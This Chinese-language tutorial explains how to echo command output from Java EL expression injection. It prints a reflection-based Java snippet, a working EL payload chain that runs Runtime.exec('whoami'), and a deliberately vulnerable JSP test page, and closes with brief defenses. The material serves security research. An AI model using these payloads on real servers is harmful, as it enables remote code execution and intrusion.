探究EL表达式注入的回显方式
字数 1370 2025-08-22 22:47:30
EL表达式注入回显技术深入解析
一、EL表达式注入回显概述
EL表达式注入是一种利用Java服务器页面(JSP)中表达式语言(Expression Language)功能实现远程代码执行(RCE)的技术。回显技术主要解决如何在执行系统命令后获取并显示命令输出结果的问题。
回显实现的两个关键步骤:
- 通过
exec执行命令并获取InputStream - 将
InputStream转换为可显示的String
二、EL表达式注入的特殊限制
与SpEL表达式注入相比,EL表达式注入有以下特殊限制:
-
对象创建限制:
- 不能通过
new关键字直接创建对象 - 只能通过静态方法或反射获取对象
- 必须使用类的全限定名,不能使用短类名
- 不能直接使用
class关键字获取类
- 不能通过
-
变量传递特性:
- 单个
${}标签可以包含多行Java代码,用分号分隔 - 返回值是最后一段表达式的结果
- 支持解析多个标签
- 变量赋值可以跨标签,由解析器维护上下文
- 通常不直接写赋值表达式,而是调用上下文的getter和setter方法
- 单个
三、InputStream到String的转换技术
1. 技术难点
在EL表达式注入中,将exec命令的InputStream转换为String是一个复杂过程,主要因为:
- JDK9之前没有直接的
readAllBytes()方法 - 传统方法需要多个类转换
- 使用
BufferedReader.readLine()需要处理多行返回值的循环
2. 创新转换方法
通过反射技术,无需引入新类即可完成转换:
-
获取执行结果流:
exec.getInputStream()返回的是BufferedInputStream子类- 内部包含一个空的
byte[8192]缓冲区(buf) - 实际结果存储在
FileInputStream中
-
反射利用流程:
- 通过反射获取
BufferedInputStream的buf字段 - 使用
read()方法将结果读入缓冲区 - 通过反射获取缓冲区内容
- 使用
String构造函数将字节数组转换为字符串
- 通过反射获取
3. 具体实现代码
Java实现示例:
BufferedInputStream bis = (BufferedInputStream)Runtime.getRuntime().exec("whoami").getInputStream();
Thread.sleep(500); // 等待流写入
Class bisClazz = Class.forName("java.io.BufferedInputStream");
Field bufField = bisClazz.getDeclaredField("buf");
bufField.setAccessible(true);
bis.read((byte[])bufField.get(bis), 0, bis.available());
String result = (String)Class.forName("java.lang.String")
.getDeclaredConstructor(Class.forName("[B"), Class.forName("java.lang.String"))
.newInstance(bufField.get(bis), "gbk");
转换为EL表达式:
${pageContext.setAttribute("is",Runtime.getRuntime().exec("whoami").getInputStream())}
${Thread.sleep(500)}
${pageContext.setAttribute("bufField",Class.forName("java.io.BufferedInputStream").getDeclaredField("buf"))}
${pageContext.getAttribute("bufField").setAccessible(true)}
${pageContext.getAttribute("is").read(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")),0,pageContext.getAttribute("is").available())}
${Class.forName("java.lang.String").getDeclaredConstructor(Class.forName("[B"),Class.forName("java.lang.String")).newInstance(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")), "gbk")}
四、环境要求与注意事项
-
测试环境:
- JDK 8u191
- Tomcat 8.5.100
- tomcat-jasper 10.1.5
-
JSP页面设置:
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="org.apache.jasper.runtime.PageContextImpl"%> <% String response = (String)PageContextImpl.proprietaryEvaluate( request.getParameter("expr"), String.class, pageContext, null); out.print(response); %> -
编码问题:
- 使用
gbk编码避免cmd输出乱码 - 必须确保JSP页面指定了正确的编码,否则编码设置无效
- 使用
五、技术优势与创新点
-
无需引入新类:
- 传统方法需要
BufferedReader等辅助类 - 本方法仅利用
BufferedInputStream自身特性
- 传统方法需要
-
反射技术的巧妙应用:
- 通过反射访问
buf字段 - 直接操作内部缓冲区
- 通过反射访问
-
跨版本兼容:
- 适用于JDK9之前的版本
- 解决了早期JDK缺少
readAllBytes()的问题
六、防御建议
-
输入验证:
- 严格过滤用户输入的EL表达式
- 禁用特殊字符和关键词
-
安全配置:
- 限制EL表达式的解析功能
- 更新至最新版本的服务器和JDK
-
编码规范:
- 避免直接解析用户提供的表达式
- 使用安全的表达式解析器
本技术文档详细解析了EL表达式注入回显的核心技术,包括其原理、实现方法和注意事项,为安全研究和防御提供了重要参考。